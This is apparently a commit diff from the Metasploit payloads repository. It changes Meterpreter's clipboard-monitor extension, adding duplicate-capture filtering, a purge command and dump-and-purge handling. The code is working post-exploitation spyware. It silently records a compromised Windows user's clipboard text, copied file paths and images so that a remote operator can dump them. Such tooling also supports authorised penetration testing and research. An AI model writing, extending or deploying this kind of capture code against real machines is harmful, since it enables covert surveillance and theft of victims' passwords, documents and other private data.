1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-01-08 14:36:22 +01:00

Add purge and dump functionality, remove dup caps

This no longer captures duplicate content if the user does the same
thing twice.
This commit is contained in:
OJ 2014-01-29 14:51:27 +10:00
parent 5b1007e940
commit 54b596674d
4 changed files with 137 additions and 9 deletions

View File

@ -7,9 +7,6 @@
#include "clipboard.h"
#include "clipboard_image.h"
/*! @brief the Limit on the size of the data we'll keep in memory. */
#define MAX_CLIPBOARD_MONITOR_MEMORY (1024 * 1024 * 40)
typedef enum _ClipboadrCaptureType
{
CapText, CapFiles, CapImage
@ -410,9 +407,92 @@ VOID dump_clipboard_capture_list(Packet* pResponse, ClipboardCaptureList* pCaptu
lock_release(pCaptureList->pClipboardCaptureLock);
}
BOOL is_duplicate(ClipboardCapture* pNewCapture, ClipboardCaptureList* pList)
{
ClipboardFile* pTailFiles = NULL;
ClipboardFile* pNewFiles = NULL;
BOOL bResult = FALSE;
lock_acquire(pList->pClipboardCaptureLock);
do
{
if (pList->pTail == NULL)
{
break;
}
if (pList->pTail->captureType != pNewCapture->captureType)
{
break;
}
switch (pNewCapture->captureType)
{
case CapText:
{
if (lstrcmpA(pNewCapture->lpText, pList->pTail->lpText) == 0)
{
bResult = TRUE;
}
break;
}
case CapFiles:
{
pTailFiles = pList->pTail->lpFiles;
pNewFiles = pNewCapture->lpFiles;
while (pTailFiles != NULL && pNewFiles != NULL)
{
if (pTailFiles->qwSize != pNewFiles->qwSize
|| lstrcmpA(pTailFiles->lpPath, pNewFiles->lpPath) != 0)
{
break;
}
pTailFiles = pTailFiles->pNext;
pNewFiles = pNewFiles->pNext;
}
if (pTailFiles == NULL && pNewFiles == NULL)
{
// we got to the end without an early-out, and the lists are
// the same size, so, they're the same!
bResult = TRUE;
}
break;
}
case CapImage:
{
if (pNewCapture->dwSize == pList->pTail->dwSize
&& pNewCapture->lpImage->dwHeight == pList->pTail->lpImage->dwHeight
&& pNewCapture->lpImage->dwWidth == pList->pTail->lpImage->dwWidth)
{
// looking quite similar. if no content given we'll assume different because
// there's little to no damage in recording an extra copy and paste of an image
// without storing the data. So only when they're both non-null will we continue.
if (pNewCapture->lpImage->lpImageContent != NULL
&& pList->pTail->lpImage->lpImageContent != NULL)
{
if (memcmp(pNewCapture->lpImage->lpImageContent, pList->pTail->lpImage->lpImageContent, pNewCapture->lpImage->dwImageSize) == 0)
{
bResult = TRUE;
}
}
}
break;
}
}
} while (0);
lock_release(pList->pClipboardCaptureLock);
return bResult;
}
BOOL add_clipboard_capture(ClipboardCapture* pNewCapture, ClipboardCaptureList* pList)
{
if (pNewCapture->dwSize + pList->dwClipboardDataSize > MAX_CLIPBOARD_MONITOR_MEMORY)
if (is_duplicate(pNewCapture, pList))
{
return FALSE;
}
@ -483,6 +563,7 @@ DWORD capture_clipboard(BOOL bCaptureImageData, ClipboardCapture** ppCapture)
pCapture->lpText = (char*)malloc(dwCount);
memset(pCapture->lpText, 0, dwCount);
strncpy_s(pCapture->lpText, dwCount, lpClipString, dwCount - 1);
pCapture->dwSize = dwCount;
pGlobalUnlock(hClipboardData);
}
@ -503,6 +584,9 @@ DWORD capture_clipboard(BOOL bCaptureImageData, ClipboardCapture** ppCapture)
pCapture->lpImage->dwWidth = htonl(lpBI->bmiHeader.biWidth);
pCapture->lpImage->dwHeight = htonl(lpBI->bmiHeader.biHeight);
// throw together a basic guess for this, it doesn't have to be exact.
pCapture->dwSize = lpBI->bmiHeader.biWidth * lpBI->bmiHeader.biHeight * 4;
// only download the image if they want it
dprintf("[EXTAPI CLIPBOARD] Image is %dx%d and %s be downloaded", lpBI->bmiHeader.biWidth, lpBI->bmiHeader.biHeight,
bCaptureImageData ? "WILL" : "will NOT");
@ -517,6 +601,7 @@ DWORD capture_clipboard(BOOL bCaptureImageData, ClipboardCapture** ppCapture)
dprintf("[EXTAPI CLIPBOARD] Clipboard bitmap captured to image: %p, Size: %u bytes", image.pImageBuffer, image.dwImageBufferSize);
pCapture->lpImage->lpImageContent = image.pImageBuffer;
pCapture->lpImage->dwImageSize = image.dwImageBufferSize;
pCapture->dwSize = image.dwImageBufferSize;
// Just leaving this in for debugging purposes later on
//hSourceFile = CreateFileA("C:\\temp\\foo.jpg", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
@ -577,6 +662,7 @@ DWORD capture_clipboard(BOOL bCaptureImageData, ClipboardCapture** ppCapture)
pFile->lpPath = (char*)malloc(dwCount);
memset(pFile->lpPath, 0, dwCount);
strncpy_s(pFile->lpPath, dwCount, lpFileName, dwCount - 1);
pCapture->dwSize += dwCount;
memset(&largeInt, 0, sizeof(largeInt));
@ -623,6 +709,7 @@ LRESULT WINAPI clipboard_monitor_window_proc(HWND hWnd, UINT uMsg, LPARAM lParam
if (!pState)
{
pState = gClipboardState;
SetWindowLongPtrA(hWnd, GWLP_USERDATA, (LONG_PTR)pState);
}
switch (uMsg)
@ -669,7 +756,7 @@ LRESULT WINAPI clipboard_monitor_window_proc(HWND hWnd, UINT uMsg, LPARAM lParam
else
{
free(pNewCapture);
dprintf("[EXTAPI CLIPBOARD] Data size too big, ignoring data %x", hWnd);
dprintf("[EXTAPI CLIPBOARD] Ignoring duplicate capture", hWnd);
}
}
else
@ -1060,7 +1147,7 @@ DWORD request_clipboard_monitor_start(Remote *remote, Packet *packet)
strncpy_s(pState->cbWindowClass, sizeof(pState->cbWindowClass), lpClassName, sizeof(pState->cbWindowClass) - 1);
dprintf("[EXTAPI CLIPBOARD] Class Name set to %s", pState->cbWindowClass);
pState->bCaptureImageData = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_CAPTURE_IMG_DATA);
pState->bCaptureImageData = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA);
pState->hPauseEvent = event_create();
pState->hResumeEvent = event_create();
@ -1196,7 +1283,7 @@ DWORD request_clipboard_monitor_stop(Remote *remote, Packet *packet)
dprintf("[EXTAPI CLIPBOARD] Stopping clipboard monitor");
bDump = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_DUMP);
bIncludeImages = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_CAPTURE_IMG_DATA);
bIncludeImages = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA);
// now stop the show
event_signal(gClipboardState->hThread->sigterm);
@ -1241,11 +1328,50 @@ DWORD request_clipboard_monitor_dump(Remote *remote, Packet *packet)
{
BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Monitor thread isn't running", ERROR_NOT_CAPABLE);
}
bIncludeImages = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_CAPTURE_IMG_DATA);
bIncludeImages = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA);
bPurge = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_PURGE);
dprintf("[EXTAPI CLIPBOARD] Purging? %s", bPurge ? "TRUE" : "FALSE");
dump_clipboard_capture_list(pResponse, &gClipboardState->captureList, bIncludeImages, bPurge);
if (bPurge)
{
lock_acquire(gClipboardState->captureList.pClipboardCaptureLock);
destroy_clipboard_monitor_capture(&gClipboardState->captureList, FALSE);
lock_release(gClipboardState->captureList.pClipboardCaptureLock);
}
dwResult = ERROR_SUCCESS;
} while (0);
packet_transmit_response(dwResult, remote, pResponse);
return dwResult;
#else
return ERROR_NOT_SUPPORTED;
#endif
}
DWORD request_clipboard_monitor_purge(Remote *remote, Packet *packet)
{
#ifdef _WIN32
DWORD dwResult = ERROR_SUCCESS;
BOOL bIncludeImages = TRUE;
BOOL bPurge = TRUE;
Packet *pResponse = packet_create_response(packet);
do
{
if (gClipboardState == NULL)
{
BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Monitor thread isn't running", ERROR_NOT_CAPABLE);
}
lock_acquire(gClipboardState->captureList.pClipboardCaptureLock);
destroy_clipboard_monitor_capture(&gClipboardState->captureList, FALSE);
lock_release(gClipboardState->captureList.pClipboardCaptureLock);
dwResult = ERROR_SUCCESS;
} while (0);

View File

@ -12,6 +12,7 @@ DWORD request_clipboard_monitor_start(Remote *remote, Packet *packet);
DWORD request_clipboard_monitor_pause(Remote *remote, Packet *packet);
DWORD request_clipboard_monitor_resume(Remote *remote, Packet *packet);
DWORD request_clipboard_monitor_stop(Remote *remote, Packet *packet);
DWORD request_clipboard_monitor_purge(Remote *remote, Packet *packet);
DWORD request_clipboard_monitor_dump(Remote *remote, Packet *packet);
#endif

View File

@ -29,6 +29,7 @@ Command customCommands[] =
COMMAND_REQ("extapi_clipboard_monitor_start", request_clipboard_monitor_start),
COMMAND_REQ("extapi_clipboard_monitor_pause", request_clipboard_monitor_pause),
COMMAND_REQ("extapi_clipboard_monitor_resume", request_clipboard_monitor_resume),
COMMAND_REQ("extapi_clipboard_monitor_purge", request_clipboard_monitor_purge),
COMMAND_REQ("extapi_clipboard_monitor_stop", request_clipboard_monitor_stop),
COMMAND_REQ("extapi_clipboard_monitor_dump", request_clipboard_monitor_dump),
COMMAND_REQ("extapi_adsi_domain_query", request_adsi_domain_query),

View File

@ -46,7 +46,7 @@
#define TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 47)
#define TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA MAKE_CUSTOM_TLV(TLV_META_TYPE_RAW, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 48)
#define TLV_TYPE_EXT_CLIPBOARD_MON_CAPTURE_IMG_DATA MAKE_CUSTOM_TLV(TLV_META_TYPE_BOOL, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 50)
#define TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA MAKE_CUSTOM_TLV(TLV_META_TYPE_BOOL, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 50)
#define TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 51)
#define TLV_TYPE_EXT_CLIPBOARD_MON_DUMP MAKE_CUSTOM_TLV(TLV_META_TYPE_BOOL, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 52)
#define TLV_TYPE_EXT_CLIPBOARD_MON_PURGE MAKE_CUSTOM_TLV(TLV_META_TYPE_BOOL, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 53)